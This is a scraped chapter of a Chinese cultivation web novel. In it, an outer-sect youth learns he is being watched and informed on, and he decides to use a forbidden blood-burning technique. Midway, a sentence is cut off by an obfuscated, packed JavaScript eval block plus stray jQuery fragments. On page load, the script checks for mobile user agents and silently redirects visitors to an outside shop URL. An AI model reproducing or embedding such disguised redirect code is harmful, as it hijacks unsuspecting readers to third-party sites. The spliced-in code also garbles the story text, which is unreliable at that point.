文趣网 > 都市小说 > 天劫淬体逆天路 > 6. 执法堂的注视
    秦霜走之后,兽栏里安静得只剩下风声。几只灵兽缩在角落里,低低地呜咽着,像是还没从刚才的杀气里缓过来。

    铁牛还坐在地上,嘴角的血已经干了,结成一道暗红色的痂。他抬眼看着沈墨渊,嘴唇动了动,好像想说什么,又咽回去了。

    沈墨渊蹲在他面前,举手去扶他。

    铁牛没接他的手,自己撑着地面站起来。膝盖上破了一大块,血把裤腿染成了深褐色,他也没管,只是拍了拍裤子上的土,低声说:“走吧,回去。”

    沈墨渊看着他,没动。

    铁牛走了两步,又停下来,没回头:“你……你刚才那一拳,以后别用了。”

    “为什么?”

    铁牛没回答。

    他低着头,一瘸一拐地往前走,背影在夕阳下拉得很长,像一堵快要塌了的墙。沈墨渊跟上去,两人一前一后,谁都没再说话。

    回到破屋的时候,天已经快黑了。

    铁牛坐在门槛上,从怀里摸出一个干馒头,掰了一半递给沈墨渊。

    沈墨渊接过来,没吃。

    铁牛咬了一口馒头,嚼了很久才咽下去。他低着头,看着手里的馒头,闷闷地开口:“俺知道你不一样。”

    沈墨渊看他。

    铁牛没看他,继续说:“你刚来那天,俺就看出来了。你身上有股劲儿,跟俺们不一样。”他顿了顿,声音更低了些,“但你得小心。”

    他抬起头,看着沈墨渊,眼神里有一种沈墨渊从没见过的认真:“这宗门里,吃人不吐骨头。”

    沈墨渊攥紧手里的馒头,没说话。

    铁牛又低下头,咬了一口馒头,嚼了很久,咽下去的时候喉结上下滚了一下:“俺见过太多人了。有些人跟俺们一样,废灵根,老老实实干活,一辈子也就这样了。但有些人……不甘心。”

    他顿了顿:“不甘心的人,都死了。”

    沈墨渊的手攥得更紧了,指甲嵌进馒头里,碎渣掉在地上。他想起父亲失踪前那个夜晚,父亲也是这样坐在门槛上,也是这样低着头,也是这样说着“不甘心的人,都死了”。然后父亲就再也没有回来。

    铁牛没再说话,吃完馒头,站起来走进屋里,躺到床上,翻了个身,背对着沈墨渊。

    沈墨渊坐在门槛上,看着天一点一点黑下去。

    远处的内门方向又亮起了灯,笑声和琴声隔着几座山头飘过来,听不真切,像另一个世界的嗓音。那些声音里没有他,也不会有他。

    他垂眼看了看自己的右手。手背上的暗红印记已经彻底淡了,但还能感觉到一丝温热,像有什么东西在皮肤下面慢慢燃烧。

    “小子。”

    器灵的声音在脑海里响起,比平时低沉了几分。

    沈墨渊没动。

    “你今天那一拳,已经被人盯上了。”

    “我知道。”

    “你不知道。”器灵的声音冷下来,“那个女娃子,是执法堂的人。执法堂是什么地方,你知道吗?”

    沈墨渊沉默了一会儿:“不知道。”

    “执法堂专门查禁术。”器灵说,“你今天用的那一拳,虽然只是最基础的破厄拳,但灵气运转的方式跟普通功法不一样。那个女娃子修为不高,看不出来什么,但她回去之后,只要把今天的事报上去,总会有人看出来。”

    沈墨渊的呼吸顿了一下。

    “你现在是什么实力?”器灵问。

    沈墨渊想了想:“引气入体……还没到炼气期。”

    “炼气期分九层,你现在连第一层都没到。”器灵的语气里带着一丝嘲弄,“随便一个筑基期的修士,一根手指就能捏死你。”

    沈墨渊没说话,但握着馒头的手在发抖。

    “你必须在被人发现之前,尽快突破炼气期。”器灵说,“否则,你今天打出去的那一拳,就是你的催命符。”

    沈墨渊闭上眼睛,深吸了一口气。

    他觉得体内的灵气在缓慢流动,像一条细细的溪流,微弱得几乎感觉不到。按照这个速度,突破炼气期至少需要三个月。

    三个月。

    他等不了三个月。

    “有没有办法快一点?”沈墨渊问。

    器灵沉默了一会儿:“有。”

    “什么办法?”

    “《破厄诀》里有一门禁术,叫‘燃血法’。”器灵说,“以精血为引,强行提升修炼速度。但代价很大——每用一次,你的寿元就会缩短一年。”

    沈墨渊的手指蜷了一下。

    “三年。”他低声说,“三年内必须突破筑基期,否则器灵反噬。现在再用燃血法,寿元缩短……”

    “你自己算。”器灵说。

    沈墨渊没算。

    他站起来,走进屋里,躺到床上。

    破屋的屋顶漏了一个洞,能看见天上的星星。星星很亮,但离他很远,像那些内门弟子的脸,高高在上,永远够不着。

    他闭上眼睛,脑子里乱糟糟的。秦霜的眼神、铁牛的话、器灵的警告,在他脑海里反复转,像一堆碎玻璃,扎得他睡不着。

    他翻了个身,面朝墙壁。

    墙是土坯的,粗糙得硌脸,散发着一股潮湿的霉味。他用手指抠着墙皮,一点一点抠下来,碎屑掉在枕头上。

    “小子。”

    器灵的声音又响起来。

    沈墨渊没应。

    “你今天那一拳,打得不错。”

    沈墨渊愣了一下。

    “虽然差点把自己震伤,但那股劲儿是对的。”器灵说,“破厄诀的精髓不在灵气多强,而在意志够不够硬。你今天那一拳,意志是够的。”

    沈墨渊没说话,但嘴角动了一下。

    “但还不够。”器灵继续说,“你今天打的是一个炼气期三层的外门弟子。如果是筑基期的修士,你那一拳连他的护体灵气都破不了。”

    沈墨渊睁开眼,看着墙壁。

    “所以,”器灵说,“你必须在三个月内突破炼气期。否则,下次执法堂再来人,你连跑的机会都没有。”

    沈墨渊沉默了很久。

    “燃血法……非用不可吗?”

    “看你自己。”器灵说,“正常修炼,三个月能到炼气期一层。用燃血法,一个月就能到三层。”

    沈墨渊没再问。

    他闭上眼睛,呼吸慢慢平稳下来。

    但没睡着。

    脑子里一直在转。三个月。执法堂。秦霜的视线。铁牛的话。吃人不吐骨头。还有父亲——父亲是不是也因为不甘心,才再也没有回来?

    他翻了个身,面朝门口。

    门没关严,门缝里透进来一线月光,落在地上,像一把白色的刀。

    他盯着那线月光,不知道过了多久,眼皮终于开始发沉。

    就在他快要睡着的时候——

    一阵脚步声从外面传来。

    很轻。

    但在这个寂静的夜里,清晰得像敲在心上。

    沈墨渊睁开眼。

    他屏住呼吸,侧耳听。

    脚步声越来越近,在破屋门口停了一下,又继续往前走,往灵兽山外门弟子的住处方向

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17570330|204904||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    去了。

    沈墨渊爬起来,走到门边,透过门缝往外看。

    月光下,一个人影正弯着腰,蹑手蹑脚地往前走。

    那人穿着灰色的执事袍,挺着一个圆滚滚的肚子——是周元朗。

    他手里攥着一封信,走几步就回头看一眼,像怕被人发现。月光照在他脸上,那张圆脸上没有平时谄媚的笑,反而绷得紧紧的,像是藏着什么见不得光的东西。

    沈墨渊眯起眼睛。

    周元朗走到外门弟子的住处门口,敲了敲门,门开了一条缝,他把信塞进去,又低声说了几句什么,然后快步消失在夜色里。

    沈墨渊站在门后,心跳快了两拍。

    周元朗大半夜的,去外门送信?他一个外门执事,有什么事不能白天说,非要半夜偷偷摸摸地来?

    他攥紧拳头,手心的印记又开始发热。

    不祥的预感像一只手,攥住了他的心脏。

    他回头看了一眼铁牛——铁牛已经睡着了,鼾声粗重,像一头疲惫的老牛。

    沈墨渊轻轻推开门,赤着脚踩在冰凉的地面上,朝外门弟子的住处摸过去。

    他贴着墙根走,每一步都踩得很轻,像一只夜行的猫。

    月光把他的影子拉得很长,拖在身后,像一条黑色的尾巴。

    他走到外门弟子住处的窗下,蹲下来,竖起耳朵听。

    屋里有人在说话,声音压得很低,听不真切。

    沈墨渊屏住呼吸,把耳朵贴得更近。

    “……长老那边怎么说?”一个年轻的声音问。

    “还能怎么说?”另一个声音回答,“让咱们盯着那个废灵根的小子,一有动静就报上去。”

    “今天执法堂那个女的来过,好像也盯上他了。”

    “执法堂?那更好了。让她们去查,咱们只管报信。”

    “那信里写的是什么?”

    “不知道。周执事说,让咱们明早送到内门去,给萧长老。”

    萧长老。

    沈墨渊的瞳孔猛地一缩。

    萧衍。

    他蹲在窗下,手心里全是汗。月光照在他脸上,他的表情在阴影里看不清楚,但那双眼睛亮得吓人,像一头被逼到绝路的狼。

    他慢慢站起来,无声地退回破屋。

    躺回床上的时候,他的手还在抖。

    不是怕。

    是怒。

    周元朗在告密。他在给萧衍报信。今天秦霜来盘问的事,周元朗一定知道了,他怕自己受牵连,所以先下手为强,把沈墨渊的异常报上去,好让萧衍觉得他忠心。

    沈墨渊攥紧被子,指节发白。

    “小子。”器灵的声音在脑海里响起,“你打算怎么办?”

    沈墨渊没回答。

    他盯着屋顶那个破洞,看着天上的星星,沉默了很久。

    “我要用燃血法。”他说。

    器灵沉默了一瞬:“你想好了?”

    “想好了。”沈墨渊的声音很轻,但很稳,“三个月太长了。我等不了。”

    “好。”器灵说,“明天晚上,我教你。”

    沈墨渊闭上眼睛。

    月光从门缝里透进来,落在他脸上,像一把刀。

    他知道,从今晚开始,他的路就变了。要么在三个月内突破炼气期,拥有自保之力;要么被萧衍发现秘密,死无葬身之地。

    没有第三条路。

    他翻了个身,面朝墙壁,听着铁牛的鼾声,慢慢呼吸。

    明天。

    明天开始,他就没有退路了。